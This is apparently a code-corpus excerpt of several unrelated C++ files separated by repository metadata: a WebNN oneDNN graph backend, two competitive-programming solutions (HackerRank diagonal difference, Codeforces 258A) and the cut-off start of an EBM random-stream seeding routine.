&filterMemoryDesc)); std::vector<dnnl_dim_t> filterDims; std::vector<dnnl_dim_t> groupFilterDims; const dnnl_memory_desc_t* actualFilterMemoryDesc; dnnl_memory_desc_t transposedFilterMemoryDesc; if (options->filterLayout == ml::FilterOperandLayout::Hwio) { const int permute[] = {2, 3, 1, 0}; DNNL_TRY(dnnl_memory_desc_permute_axes(&transposedFilterMemoryDesc, filterMemoryDesc, permute)); // logical dimension is always in {OIHW} // physical layout is hwio for filter filterDims.assign(transposedFilterMemoryDesc.dims, transposedFilterMemoryDesc.dims + transposedFilterMemoryDesc.ndims); DNNL_TRY(dnnl_memory_desc_init_by_tag(&transposedFilterMemoryDesc, filterDims.size(), filterDims.data(), filterMemoryDesc->data_type, dnnl_hwio)); actualFilterMemoryDesc = &transposedFilterMemoryDesc; } else if (options->filterLayout == ml::FilterOperandLayout::Ohwi) { const int permute[] = {0, 2, 3, 1}; DNNL_TRY(dnnl_memory_desc_permute_axes(&transposedFilterMemoryDesc, filterMemoryDesc, permute)); filterDims.assign(transposedFilterMemoryDesc.dims, transposedFilterMemoryDesc.dims + transposedFilterMemoryDesc.ndims); DNNL_TRY(dnnl_memory_desc_init_by_tag(&transposedFilterMemoryDesc, filterDims.size(), filterDims.data(), filterMemoryDesc->data_type, dnnl_ohwi)); actualFilterMemoryDesc = &transposedFilterMemoryDesc; } else if (options->filterLayout == ml::FilterOperandLayout::Ihwo) { const int permute[] = {1, 2, 3, 0}; DNNL_TRY(dnnl_memory_desc_permute_axes(&transposedFilterMemoryDesc, filterMemoryDesc, permute)); filterDims.assign(transposedFilterMemoryDesc.dims, transposedFilterMemoryDesc.dims + transposedFilterMemoryDesc.ndims); DNNL_TRY(dnnl_memory_desc_init_by_tag(&transposedFilterMemoryDesc, filterDims.size(), filterDims.data(), filterMemoryDesc->data_type, dnnl_ihwo)); actualFilterMemoryDesc = &transposedFilterMemoryDesc; } else { filterDims.assign(filterMemoryDesc->dims, filterMemoryDesc->dims + filterMemoryDesc->ndims); actualFilterMemoryDesc = filterMemoryDesc; } dnnl_memory_desc_t newFilterMemoryDesc; if (options->groups != 1) { groupFilterDims = {options->groups, filterDims[0] / options->groups, filterDims[1], filterDims[2], filterDims[3]}; switch (options->filterLayout) { case ml::FilterOperandLayout::Oihw: DNNL_TRY(dnnl_memory_desc_init_by_tag( &newFilterMemoryDesc, groupFilterDims.size(), groupFilterDims.data(), filterMemoryDesc->data_type, dnnl_goihw)); break; case ml::FilterOperandLayout::Hwio: DNNL_TRY(dnnl_memory_desc_init_by_tag( &newFilterMemoryDesc, groupFilterDims.size(), groupFilterDims.data(), filterMemoryDesc->data_type, dnnl_hwigo)); break; case ml::FilterOperandLayout::Ohwi: DNNL_TRY(dnnl_memory_desc_init_by_tag( &newFilterMemoryDesc, groupFilterDims.size(), groupFilterDims.data(), filterMemoryDesc->data_type, dnnl_gohwi)); break; case ml::FilterOperandLayout::Ihwo: DNNL_TRY(dnnl_memory_desc_init_by_tag( &newFilterMemoryDesc, groupFilterDims.size(), groupFilterDims.data(), filterMemoryDesc->data_type, dnnl_idhwo)); break; default: break; } actualFilterMemoryDesc = &newFilterMemoryDesc; } dnnl_data_type_t dataType = actualInputMemoryDesc->data_type; dnnl_memory_desc_t inputInitDesc; DNNL_TRY(dnnl_memory_desc_init_by_tag(&inputInitDesc, inputDims.size(), inputDims.data(), dataType, dnnl_format_tag_any)); dnnl_memory_desc_t filterInitDesc; if (options->groups == 1) { DNNL_TRY(dnnl_memory_desc_init_by_tag(&filterInitDesc, filterDims.size(), filterDims.data(), dataType, dnnl_format_tag_any)); } else { DNNL_TRY(dnnl_memory_desc_init_by_tag(&filterInitDesc, groupFilterDims.size(), groupFilterDims.data(), dataType, dnnl_format_tag_any)); } std::vector<dnnl_dim_t> strides = {options->strides[0], options->strides[1]}; // Non-dilated convolution is defined by setting the dilation parameters to 0 std::vector<dnnl_dim_t> dilates = {options->dilations[0] == 1 ? 0 : options->dilations[0], options->dilations[1] == 1 ? 0 : options->dilations[1]}; int32_t paddingTop = options->padding[0]; int32_t paddingBottom = options->padding[1]; int32_t paddingLeft = options->padding[2]; int32_t paddingRight = options->padding[3]; if (options->autoPad != ml::AutoPad::Explicit) { utils::ComputeImplicitPaddingForAutoPad(options->autoPad, options->dilations[0], inputDims[2], filterDims[2], strides[0], paddingTop, paddingBottom); utils::ComputeImplicitPaddingForAutoPad(options->autoPad, options->dilations[1], inputDims[3], filterDims[3], strides[1], paddingLeft, paddingRight); } std::vector<dnnl_dim_t> padding_l = {paddingTop, paddingLeft}; std::vector<dnnl_dim_t> padding_r = {paddingBottom, paddingRight}; std::vector<dnnl_dim_t> outputDims(4); outputDims[0] = inputDims[0]; outputDims[1] = filterDims[0]; for (int i = 2; i < 4; ++i) { int src = inputDims[i]; int ker = filterDims[i]; int dil = dilates[i - 2]; int pad_l = padding_l[i - 2]; int pad_r = padding_r[i - 2]; int str = strides[i - 2]; int ker_range = 1 + (ker - 1) * (dil + 1); outputDims[i] = (src - ker_range + pad_l + pad_r) / str + 1; } dnnl_memory_desc_t outputInitDesc; DNNL_TRY(dnnl_memory_desc_init_by_tag(&outputInitDesc, outputDims.size(), outputDims.data(), dataType, dnnl_format_tag_any)); // dnnl_memory_desc_t biasInitDesc; dnnl_memory_t biasMemory = nullptr; const dnnl_memory_desc_t* biasMemoryDesc; if (add) { DAWN_ASSERT(add->Inputs().size() == 2); OperandBase* biasOperand = nullptr; if (conv2d->PrimaryOutput() == add->Inputs()[0].Get()) { biasOperand = add->Inputs()[1].Get(); } else if (conv2d->PrimaryOutput() == add->Inputs()[1].Get()) { biasOperand = add->Inputs()[0].Get(); } else { dawn::ErrorLog() << "The add is not fusable."; return dnnl_invalid_arguments; } DAWN_ASSERT(mOperandMemoryMap.find(biasOperand) != mOperandMemoryMap.end()); biasMemory = mOperandMemoryMap.at(biasOperand); DNNL_TRY(GetMemoryDesc(biasMemory, &biasMemoryDesc)); } dnnl_primitive_attr_t attr = nullptr; dnnl_post_ops_t postops = nullptr; if (clamp) { float outputMin = -std::numeric_limits<float>::infinity(); float outputMax = +std::numeric_limits<float>::infinity(); outputMin = clamp->GetMinValue(); outputMax = clamp->GetMaxValue(); DNNL_TRY(dnnl_post_ops_create(&postops)); DNNL_TRY(dnnl_post_ops_append_eltwise(postops, 1.0, dnnl_eltwise_clip, outputMin, outputMax)); DNNL_TRY(dnnl_primitive_attr_create(&attr)); DNNL_TRY(dnnl_primitive_attr_set_post_ops(attr, postops)); } dnnl_convolution_desc_t convDesc; DNNL_TRY(dnnl_dilated_convolution_forward_desc_init( &convDesc, dnnl_forward, dnnl_convolution_direct, &inputInitDesc, &filterInitDesc, add ? biasMemoryDesc : NULL, &outputInitDesc, strides.data(), dilates.data(), padding_l.data(), padding_r.data())); dnnl_primitive_desc_t primitiveDesc; DNNL_TRY(dnnl_primitive_desc_create(&primitiveDesc, &convDesc, clamp ? attr : NULL, GetEngine(), NULL)); if (attr) { DNNL_TRY(dnnl_primitive_attr_destroy(attr)); } if (postops) { DNNL_TRY(dnnl_post_ops_destroy(postops)); } const dnnl_memory_desc_t* inputInternalMemoryDesc = dnnl_primitive_desc_query_md(primitiveDesc, dnnl_query_src_md, 0); dnnl_memory_t inputInternalMemory; DNNL_TRY(ReorderIfNeeded(actualInputMemoryDesc, inputMemory, inputInternalMemoryDesc, &inputInternalMemory)); const dnnl_memory_desc_t* filterInternalMemoryDesc = dnnl_primitive_desc_query_md(primitiveDesc, dnnl_query_weights_md, 0); dnnl_memory_t filterInternalMemory; DNNL_TRY(ReorderIfNeeded(actualFilterMemoryDesc, filterMemory, filterInternalMemoryDesc, &filterInternalMemory)); const dnnl_memory_desc_t* outputMemoryDesc = dnnl_primitive_desc_query_md(primitiveDesc, dnnl_query_dst_md, 0); dnnl_memory_t outputMemory; DNNL_TRY( dnnl_memory_create(&outputMemory, outputMemoryDesc, GetEngine(), DNNL_MEMORY_ALLOCATE)); dnnl_primitive_t primitive; DNNL_TRY(dnnl_primitive_create(&primitive, primitiveDesc)); DNNL_TRY(dnnl_primitive_desc_destroy(primitiveDesc)); std::vector<dnnl_exec_arg_t> args = {{DNNL_ARG_SRC, inputInternalMemory}, {DNNL_ARG_WEIGHTS, filterInternalMemory}, {DNNL_ARG_DST, outputMemory}}; if (add) { args.push_back({DNNL_ARG_BIAS, biasMemory}); } mOperations.push_back({primitive, args}); mMemories.push_back(outputMemory); const OperandBase* output = add ? reinterpret_cast<const OperandBase*>(add->PrimaryOutput()) : reinterpret_cast<const OperandBase*>(conv2d->PrimaryOutput()); if (options->inputLayout == ml::InputOperandLayout::Nhwc) { // reorder the output from primitive query layout to nhwc dnnl_memory_desc_t finalOutputMemoryDesc; DNNL_TRY(dnnl_memory_desc_init_by_tag(&finalOutputMemoryDesc, outputDims.size(), outputDims.data(), dataType, dnnl_nhwc)); dnnl_memory_t finalOutputMemory; DNNL_TRY(ReorderIfNeeded(outputMemoryDesc, outputMemory, &finalOutputMemoryDesc, &finalOutputMemory)); mOperandMemoryMap.insert(std::make_pair(output, finalOutputMemory)); // transpose the output logical dims to nhwc dnnl_memory_desc_t transposeOutputMemoryDesc; std::vector<dnnl_dim_t> finalOutputDims(4); finalOutputDims[0] = outputDims[0]; finalOutputDims[1] = outputDims[2]; finalOutputDims[2] = outputDims[3]; finalOutputDims[3] = outputDims[1]; DNNL_TRY(dnnl_memory_desc_init_by_tag(&transposeOutputMemoryDesc, finalOutputDims.size(), finalOutputDims.data(), dataType, dnnl_nchw)); mMemoryReinterprets.insert( std::make_pair(finalOutputMemory, transposeOutputMemoryDesc)); } else { mOperandMemoryMap.insert(std::make_pair(output, outputMemory)); } return dnnl_success; } MaybeError Graph::AddPool2d(const op::Pool2d* pool2d) { mOperandsToBuild.push_back({POOL2D, pool2d}); return {}; } dnnl_status_t Graph::AddPool2dImpl(const op::Pool2d* pool2d) { DAWN_ASSERT(pool2d->Inputs().size() == 1); const OperandBase* inputOperand = pool2d->Inputs()[0].Get(); DAWN_ASSERT(mOperandMemoryMap.find(inputOperand) != mOperandMemoryMap.end()); dnnl_memory_t inputMemory = mOperandMemoryMap.at(inputOperand); const dnnl_memory_desc_t* inputMemoryDesc; DNNL_TRY(GetMemoryDesc(inputMemory, &inputMemoryDesc)); std::vector<dnnl_dim_t> inputDims(inputMemoryDesc->dims, inputMemoryDesc->dims + inputMemoryDesc->ndims); dnnl_data_type_t dataType = inputMemoryDesc->data_type; const Pool2dOptions* options = pool2d->GetOptions(); if (options->layout != ml::InputOperandLayout::Nchw) { // FIXME(nhu): implement the nhwc layout. return dnnl_unimplemented; } std::vector<dnnl_dim_t> kernel; if (options->windowDimensions != nullptr) { kernel = {options->windowDimensions[0], options->windowDimensions[1]}; } else { kernel = {inputDims[2], inputDims[3]}; } std::vector<dnnl_dim_t> strides = {options->strides[0], options->strides[1]}; // Non-dilated convolution is defined by setting the dilation parameters to 0 std::vector<dnnl_dim_t> dilates = {options->dilations[0] == 1 ? 0 : options->dilations[0], options->dilations[1] == 1 ? 0 : options->dilations[1]}; std::vector<dnnl_dim_t> padding_l = {options->padding[0], options->padding[2]}; std::vector<dnnl_dim_t> padding_r = {options->padding[1], options->padding[3]}; std::vector<dnnl_dim_t> outputDims(4); outputDims[0] = inputDims[0]; // Assume input layout is oihw outputDims[1] = inputDims[1]; for (int i = 2; i < 4; ++i) { int src = inputDims[i]; int ker = kernel[i - 2]; int dil = dilates[i - 2]; int pad_l = padding_l[i - 2]; int pad_r = padding_r[i - 2]; int str = strides[i - 2]; int ker_range = 1 + (ker - 1) * (dil + 1); outputDims[i] = (src - ker_range + pad_l + pad_r) / str + 1; } dnnl_memory_desc_t outputInitDesc; DNNL_TRY(dnnl_memory_desc_init_by_tag(&outputInitDesc, outputDims.size(), outputDims.data(), dataType, dnnl_format_tag_any)); dnnl_alg_kind_t poolType; if (pool2d->GetType() == op::Pool2dType::kAveragePool2d) { poolType = dnnl_pooling_avg; } else if (pool2d->GetType() == op::Pool2dType::kMaxPool2d) { poolType = dnnl_pooling_max; } else { return dnnl_invalid_arguments; } dnnl_pooling_v2_desc_t poolDesc; DNNL_TRY(dnnl_pooling_v2_forward_desc_init( &poolDesc, dnnl_forward, poolType, inputMemoryDesc, &outputInitDesc, strides.data(), kernel.data(), dilates.data(), padding_l.data(), padding_r.data())); dnnl_primitive_desc_t primitiveDesc; DNNL_TRY(dnnl_primitive_desc_create(&primitiveDesc, &poolDesc, NULL, GetEngine(), NULL)); const dnnl_memory_desc_t* outputMemoryDesc = dnnl_primitive_desc_query_md(primitiveDesc, dnnl_query_dst_md, 0); dnnl_memory_t outputMemory; DNNL_TRY( dnnl_memory_create(&outputMemory, outputMemoryDesc, GetEngine(), DNNL_MEMORY_ALLOCATE)); dnnl_primitive_t primitive; DNNL_TRY(dnnl_primitive_create(&primitive, primitiveDesc)); std::vector<dnnl_exec_arg_t> args = {{DNNL_ARG_SRC, inputMemory}, {DNNL_ARG_DST, outputMemory}}; if (poolType == dnnl_pooling_max) { const dnnl_memory_desc_t* workspaceMemoryDesc = dnnl_primitive_desc_query_md(primitiveDesc, dnnl_query_workspace_md, 0); dnnl_memory_t workspaceMemory; DNNL_TRY(dnnl_memory_create(&workspaceMemory, workspaceMemoryDesc, GetEngine(), DNNL_MEMORY_ALLOCATE)); args.push_back({DNNL_ARG_WORKSPACE, workspaceMemory}); mMemories.push_back(workspaceMemory); } DNNL_TRY(dnnl_primitive_desc_destroy(primitiveDesc)); mOperations.push_back({primitive, args}); mMemories.push_back(outputMemory); mOperandMemoryMap.insert(std::make_pair(pool2d->PrimaryOutput(), outputMemory)); return dnnl_success; } MaybeError Graph::AddUnary(const op::Unary* unary) { mOperandsToBuild.push_back({OperatorType::UNARY, unary}); return {}; } dnnl_status_t Graph::AddUnaryImpl(const op::Unary* unary) { DAWN_ASSERT(unary->Inputs().size() == 1); const OperandBase* inputOperand = unary->Inputs()[0].Get(); DAWN_ASSERT(mOperandMemoryMap.find(inputOperand) != mOperandMemoryMap.end()); dnnl_memory_t inputMemory = mOperandMemoryMap.at(inputOperand); const dnnl_memory_desc_t* inputMemoryDesc; DNNL_TRY(GetMemoryDesc(inputMemory, &inputMemoryDesc)); dnnl_primitive_desc_t primitiveDesc; dnnl_primitive_t primitive; dnnl_memory_t outputMemory; if (unary->GetType() == op::UnaryOpType::kRelu) { dnnl_eltwise_desc_t eltWiseDesc; DNNL_TRY(dnnl_eltwise_forward_desc_init(&eltWiseDesc, dnnl_forward, dnnl_eltwise_relu, inputMemoryDesc, 0, 0)); DNNL_TRY(dnnl_primitive_desc_create(&primitiveDesc, &eltWiseDesc, nullptr, GetEngine(), nullptr)); } else if (unary->GetType() == op::UnaryOpType::kSoftmax) { dnnl_softmax_desc_t softmaxDesc; DNNL_TRY( dnnl_softmax_forward_desc_init(&softmaxDesc, dnnl_forward, inputMemoryDesc, 1)); DNNL_TRY(dnnl_primitive_desc_create(&primitiveDesc, &softmaxDesc, nullptr, GetEngine(), nullptr)); } else { return dnnl_unimplemented; } const dnnl_memory_desc_t* outputMemoryDesc = dnnl_primitive_desc_query_md(primitiveDesc, dnnl_query_dst_md, 0); DNNL_TRY( dnnl_memory_create(&outputMemory, outputMemoryDesc, GetEngine(), DNNL_MEMORY_ALLOCATE)); DNNL_TRY(dnnl_primitive_create(&primitive, primitiveDesc)); DNNL_TRY(dnnl_primitive_desc_destroy(primitiveDesc)); mOperations.push_back( {primitive, {{DNNL_ARG_SRC, inputMemory}, {DNNL_ARG_DST, outputMemory}}}); mMemories.push_back(outputMemory); mOperandMemoryMap.insert(std::make_pair(unary->PrimaryOutput(), outputMemory)); return dnnl_success; } MaybeError Graph::AddClamp(const op::Clamp* clamp) { mOperandsToBuild.push_back({OperatorType::CLAMP, clamp}); return {}; } dnnl_status_t Graph::AddClampImpl(const op::Clamp* clamp) { auto inputsOperand = clamp->Inputs(); DAWN_ASSERT(inputsOperand.size() == 1); const OperandBase* inputOperand = inputsOperand[0].Get(); DAWN_ASSERT(mOperandMemoryMap.find(inputOperand) != mOperandMemoryMap.end()); dnnl_memory_t inputMemory = mOperandMemoryMap.at(inputOperand); const dnnl_memory_desc_t* inputMemoryDesc; DNNL_TRY(GetMemoryDesc(inputMemory, &inputMemoryDesc)); std::vector<dnnl_dim_t> inputDims(inputMemoryDesc->dims, inputMemoryDesc->dims + inputMemoryDesc->ndims); dnnl_primitive_desc_t primitiveDesc; dnnl_primitive_t primitive; dnnl_memory_t outputMemory; dnnl_eltwise_desc_t eltWiseDesc; DNNL_TRY(dnnl_eltwise_forward_desc_init(&eltWiseDesc, dnnl_forward, dnnl_eltwise_clip, inputMemoryDesc, clamp->GetMinValue(), clamp->GetMaxValue())); DNNL_TRY(dnnl_primitive_desc_create(&primitiveDesc, &eltWiseDesc, nullptr, GetEngine(), nullptr)); const dnnl_memory_desc_t* outputMemoryDesc = dnnl_primitive_desc_query_md(primitiveDesc, dnnl_query_dst_md, 0); DNNL_TRY( dnnl_memory_create(&outputMemory, outputMemoryDesc, GetEngine(), DNNL_MEMORY_ALLOCATE)); DNNL_TRY(dnnl_primitive_create(&primitive, primitiveDesc)); DNNL_TRY(dnnl_primitive_desc_destroy(primitiveDesc)); mOperations.push_back( {primitive, {{DNNL_ARG_SRC, inputMemory}, {DNNL_ARG_DST, outputMemory}}}); mMemories.push_back(outputMemory); mOperandMemoryMap.insert(std::make_pair(clamp->PrimaryOutput(), outputMemory)); return dnnl_success; } MaybeError Graph::Finish() { return {}; } MaybeError Graph::CompileImpl() { DAWN_TRY(dnnl_stream_create(&mStream, GetEngine(), dnnl_stream_default_flags)); return {}; } MLComputeGraphStatus Graph::ComputeImpl(NamedInputsBase* inputs, NamedOutputsBase* outputs) { for (auto& input : inputs->GetRecords()) { dnnl_memory_t inputMemory = mInputMemoryMap.at(input.first); COMPUTE_TRY( dnnl_memory_set_data_handle_v2(inputMemory, static_cast<int8_t*>(input.second->resource.buffer) + input.second->resource.byteOffset, mStream)); } for (auto op : mOperations) { COMPUTE_TRY( dnnl_primitive_execute(op.primitive, mStream, op.args.size(), op.args.data())); } COMPUTE_TRY(dnnl_stream_wait(mStream)); std::vector<std::string> outputNames; for (auto& output : outputs->GetRecords()) { outputNames.push_back(output.first); } for (size_t i = 0; i < outputNames.size(); ++i) { std::string outputName = outputNames[i]; dnnl_memory_t outputMemory = mOutputMemoryMap.at(outputName); const dnnl_memory_desc_t* outputMemoryDesc; COMPUTE_TRY(GetMemoryDesc(outputMemory, &outputMemoryDesc)); size_t bufferLength = dnnl_memory_desc_get_size(outputMemoryDesc); void* outputBuffer = malloc(bufferLength); COMPUTE_TRY(ReadFromMemory(outputBuffer, bufferLength, outputMemory)); const ArrayBufferView* output = outputs->GetRecords().at(outputName); if (output->byteLength >= bufferLength) { memcpy(static_cast<int8_t*>(output->buffer) + output->byteOffset, outputBuffer, bufferLength); } } return MLComputeGraphStatus_Success; } dnnl_engine_t Graph::GetEngine() { return reinterpret_cast<Context*>(GetContext())->GetEngine(); } dnnl_status_t Graph::GetMemoryDesc(dnnl_memory_t memory, const dnnl_memory_desc_t** desc) { if (mMemoryReinterprets.find(memory) != mMemoryReinterprets.end()) { *desc = &mMemoryReinterprets.at(memory); } else { DNNL_TRY(dnnl_memory_get_memory_desc(memory, desc)); } return dnnl_success; } dnnl_status_t Graph::ReorderIfNeeded(const dnnl_memory_desc_t* srcDesc, dnnl_memory_t srcMem, const dnnl_memory_desc_t* dstDesc, dnnl_memory_t* userDstMem) { if (!dnnl_memory_desc_equal(srcDesc, dstDesc)) { dnnl_memory_t dstMem; DNNL_TRY(dnnl_memory_create(&dstMem, dstDesc, GetEngine(), DNNL_MEMORY_ALLOCATE)); dnnl_primitive_desc_t reorderDesc; DNNL_TRY(dnnl_reorder_primitive_desc_create(&reorderDesc, srcDesc, GetEngine(), dstDesc, GetEngine(), NULL)); dnnl_primitive_t reorder; DNNL_TRY(dnnl_primitive_create(&reorder, reorderDesc)); DNNL_TRY(dnnl_primitive_desc_destroy(reorderDesc)); std::vector<dnnl_exec_arg_t> args = {{DNNL_ARG_SRC, srcMem}, {DNNL_ARG_DST, dstMem}}; if (mConstantMemories.find(srcMem) != mConstantMemories.end()) { dnnl_stream_t stream; DNNL_TRY(dnnl_stream_create(&stream, GetEngine(), dnnl_stream_default_flags)); DNNL_TRY(dnnl_primitive_execute(reorder, stream, args.size(), args.data())); DNNL_TRY(dnnl_primitive_destroy(reorder)); } else { mOperations.push_back({reorder, args}); } mMemories.push_back(dstMem); if (userDstMem != nullptr) { *userDstMem = dstMem; } } else { if (userDstMem != nullptr) { *userDstMem = srcMem; } } return dnnl_success; } dnnl_status_t Graph::ReorderToPlainFormat(dnnl_memory_t srcMem, dnnl_memory_t* dstMem) { const dnnl_memory_desc_t* srcDesc; DNNL_TRY(GetMemoryDesc(srcMem, &srcDesc)); std::vector<int32_t> dimensions(srcDesc->dims, srcDesc->dims + srcDesc->ndims); std::vector<dnnl_dim_t> dims; dnnl_format_tag_t tag; DNNL_TRY(GetDnnlDimsAndFormartTag(dimensions.data(), dimensions.size(), dims, tag)); dnnl_memory_desc_t plainDesc; DNNL_TRY(dnnl_memory_desc_init_by_tag(&plainDesc, dims.size(), dims.data(), srcDesc->data_type, tag)); DNNL_TRY(ReorderIfNeeded(srcDesc, srcMem, &plainDesc, dstMem)); return dnnl_success; } }} // namespace webnn_native::onednn
49.174589
100
0.563043
Honry
0e83593325c924567f6f336ba8f6bd3f842e97f8
2,217
cpp
C++
Hackerrank_problems/diagonal-difference/solution.cpp
gbrls/CompetitiveCode
b6f1b817a655635c3c843d40bd05793406fea9c6
[ "MIT" ]
165
2020-10-03T08:01:11.000Z
2022-03-31T02:42:08.000Z
Hackerrank_problems/diagonal-difference/solution.cpp
gbrls/CompetitiveCode
b6f1b817a655635c3c843d40bd05793406fea9c6
[ "MIT" ]
383
2020-10-03T07:39:11.000Z
2021-11-20T07:06:35.000Z
Hackerrank_problems/diagonal-difference/solution.cpp
gbrls/CompetitiveCode
b6f1b817a655635c3c843d40bd05793406fea9c6
[ "MIT" ]
380
2020-10-03T08:05:04.000Z
2022-03-19T06:56:59.000Z
#include <bits/stdc++.h> using namespace std; string ltrim(const string &); string rtrim(const string &); vector<string> split(const string &); /* * Complete the 'diagonalDifference' function below. * * The function is expected to return an INTEGER. * The function accepts 2D_INTEGER_ARRAY arr as parameter. */ int diagonalDifference(vector<vector<int>> arr,int n) { //sum int sum1=0; int sum2=0; //make a pattern to sum the number from left diagonal for (int i = 0; i < n; i++) { for (int j = 0; j < n; j++) { if(i==j){ sum1=arr[i][j]+sum1; } } } //make a pattern to sum the number from right diagonal int r=n-1; for (int i =0; i <n; i++) { sum2=arr[i][r]+sum2; r--; } int total=abs(sum1-sum2); return total; } int main() { ofstream fout(getenv("OUTPUT_PATH")); string n_temp; getline(cin, n_temp); int n = stoi(ltrim(rtrim(n_temp))); //initialize the array vector<vector<int>> arr(n); for (int i = 0; i < n; i++) { arr[i].resize(n); string arr_row_temp_temp; getline(cin, arr_row_temp_temp); vector<string> arr_row_temp = split(rtrim(arr_row_temp_temp)); for (int j = 0; j < n; j++) { int arr_row_item = stoi(arr_row_temp[j]); arr[i][j] = arr_row_item; } } int result = diagonalDifference(arr,n); fout << result << "\n"; fout.close(); return 0; } string ltrim(const string &str) { string s(str); s.erase( s.begin(), find_if(s.begin(), s.end(), not1(ptr_fun<int, int>(isspace))) ); return s; } string rtrim(const string &str) { string s(str); s.erase( find_if(s.rbegin(), s.rend(), not1(ptr_fun<int, int>(isspace))).base(), s.end() ); return s; } vector<string> split(const string &str) { vector<string> tokens; string::size_type start = 0; string::size_type end = 0; while ((end = str.find(" ", start)) != string::npos) { tokens.push_back(str.substr(start, end - start)); start = end + 1; } tokens.push_back(str.substr(start)); return tokens; }
19.972973
79
0.562021
gbrls
0e83d914251a5f8264a56b23eb54bbc1ee284629
407
cpp
C++
0200/50/258a.cpp
actium/cf
d7be128c3a9adb014a231a399f1c5f19e1ab2a38
[ "Unlicense" ]
1
2020-07-03T15:55:52.000Z
2020-07-03T15:55:52.000Z
0200/50/258a.cpp
actium/cf
d7be128c3a9adb014a231a399f1c5f19e1ab2a38
[ "Unlicense" ]
null
null
null
0200/50/258a.cpp
actium/cf
d7be128c3a9adb014a231a399f1c5f19e1ab2a38
[ "Unlicense" ]
3
2020-10-01T14:55:28.000Z
2021-07-11T11:33:58.000Z
#include <iostream> #include <string> void answer(const std::string& v) { std::cout << v << '\n'; } void solve(std::string& a) { const size_t n = a.length(); size_t i = 0; while (i < n && a[i] == '1') ++i; if (i == n) a.pop_back(); else a.erase(i, 1); answer(a); } int main() { std::string a; std::cin >> a; solve(a); return 0; }
11.628571
33
0.461916
actium
0e88cf2485028b919632c7c115f824ef254ff035
7,185
cpp
C++
shared/ebm_native/RandomStream.cpp
mikewlange/interpret
cea351c9834fef437cb8853552fa1699fc24f527
[ "MIT" ]
1
2021-07-27T01:52:41.000Z
2021-07-27T01:52:41.000Z
shared/ebm_native/RandomStream.cpp
mikewlange/interpret
cea351c9834fef437cb8853552fa1699fc24f527
[ "MIT" ]
null
null
null
shared/ebm_native/RandomStream.cpp
mikewlange/interpret
cea351c9834fef437cb8853552fa1699fc24f527
[ "MIT" ]
null
null
null
// Copyright (c) 2018 Microsoft Corporation // Licensed under the MIT license. // Author: Paul Koch <code@koch.ninja> #include "PrecompiledHeader.h" #include "ebm_native.h" // IntEbmType #include "EbmInternal.h" // INLINE_ALWAYS #include "RandomStream.h" // I generated these as purely random numbers from 0 to 2^64-1 static constexpr uint_fast64_t k_oneTimePadRandomSeed[64] { uint_fast64_t { 12108613678499979739U }, uint_fast64_t { 8329435972752283296U }, uint_fast64_t { 17571318292481228596U }, uint_fast64_t { 8474109262332614363U }, uint_fast64_t { 4596191631384569752U }, uint_fast64_t { 5510915809971989025U }, uint_fast64_t { 14720389497105379764U }, uint_fast64_t { 14047171488222988787U }, uint_fast64_t { 7736215019039428969U }, uint_fast64_t { 8387470286819184488U }, // 10 uint_fast64_t { 1272264876990534779U }, uint_fast64_t { 6473674570481891879U }, uint_fast64_t { 13907100008306791022U }, uint_fast64_t { 12570840646885693808U }, uint_fast64_t { 1295043964959849187U }, uint_fast64_t { 6044489878752700404U }, uint_fast64_t { 3043658277907488966U }, uint_fast64_t { 14272464241729578605U }, uint_fast64_t { 6450652935688055649U }, uint_fast64_t { 1122646225207300450U }, // 20 uint_fast64_t { 9680697536788401020U }, uint_fast64_t { 14714112283214792619U }, uint_fast64_t { 17000224091575576715U }, uint_fast64_t { 14555454069625694159U }, uint_fast64_t { 12133150780644733129U }, uint_fast64_t { 15142044263353770020U }, uint_fast64_t { 17374501799890097513U }, uint_fast64_t { 587457683945871661U }, uint_fast64_t { 9480109921896005794U }, uint_fast64_t { 6202971064614006615U }, // 30 uint_fast64_t { 8953539312749291378U }, uint_fast64_t { 12924949407597356887U }, uint_fast64_t { 2067650231428397037U }, uint_fast64_t { 1104555401015663230U }, uint_fast64_t { 6991116900072783160U }, uint_fast64_t { 6876003810322139051U }, uint_fast64_t { 14819303631007586897U }, uint_fast64_t { 443649666753471969U }, uint_fast64_t { 8852906418479390231U }, uint_fast64_t { 16161542782915048273U }, // 40 uint_fast64_t { 4167557640904791684U }, uint_fast64_t { 13274255720658362279U }, uint_fast64_t { 17654070117302736271U }, uint_fast64_t { 2288656479984262408U }, uint_fast64_t { 3955707939175675669U }, uint_fast64_t { 966811535468564117U }, uint_fast64_t { 10689941274756927828U }, uint_fast64_t { 6900203119099125140U }, uint_fast64_t { 3852394839434217481U }, uint_fast64_t { 18083665370972184874U }, // 50 uint_fast64_t { 17516541138771931787U }, uint_fast64_t { 13183241652889971345U }, uint_fast64_t { 13330691503705237225U }, uint_fast64_t { 9615905893188178094U }, uint_fast64_t { 1892274982045638252U }, uint_fast64_t { 1429571804636752368U }, uint_fast64_t { 8292521317717755949U }, uint_fast64_t { 185343338715513721U }, uint_fast64_t { 16175019103330891636U }, uint_fast64_t { 8904867104718226249U }, // 60 uint_fast64_t { 15891920948755861285U }, uint_fast64_t { 2697603254172205724U }, uint_fast64_t { 10333533257119705764U }, uint_fast64_t { 8350484291935387907U } // 64 }; uint_fast64_t RandomStream::GetOneTimePadConversion(uint_fast64_t seed) { static_assert(CountBitsRequiredPositiveMax<uint64_t>() == sizeof(k_oneTimePadRandomSeed) / sizeof(k_oneTimePadRandomSeed[0]), "the one time pad must have the same length as the number of bits" ); EBM_ASSERT(seed == static_cast<uint_fast64_t>(static_cast<uint64_t>(seed))); // this number generates a perfectly valid converted seed in a single pass if the user passes us a seed of zero uint_fast64_t result = uint_fast64_t { 0x6b79a38fd52c4e71 }; const uint_fast64_t * pRandom = k_oneTimePadRandomSeed; do { if(UNPREDICTABLE(0 != (uint_fast64_t { 1 } &seed))) { result ^= *pRandom; } ++pRandom; seed >>= 1; } while(LIKELY(0 != seed)); return result; } void RandomStream::Initialize(const uint64_t seed) { constexpr uint_fast64_t initializeSeed = { 0xa75f138b4a162cfd }; m_state1 = initializeSeed; m_state2 = initializeSeed; m_stateSeedConst = initializeSeed; uint_fast64_t originalRandomBits = GetOneTimePadConversion(static_cast<uint_fast64_t>(seed)); EBM_ASSERT(originalRandomBits == static_cast<uint_fast64_t>(static_cast<uint64_t>(originalRandomBits))); uint_fast64_t randomBits = originalRandomBits; // the lowest bit of our result needs to be 1 to make our number odd (per the paper) uint_fast64_t sanitizedSeed = (uint_fast64_t { 0xF } & randomBits) | uint_fast64_t { 1 }; randomBits >>= 4; // remove the bits that we used // disallow zeros for our hex digits by ORing 1 const uint_fast16_t disallowMapFuture = (uint_fast16_t { 1 } << 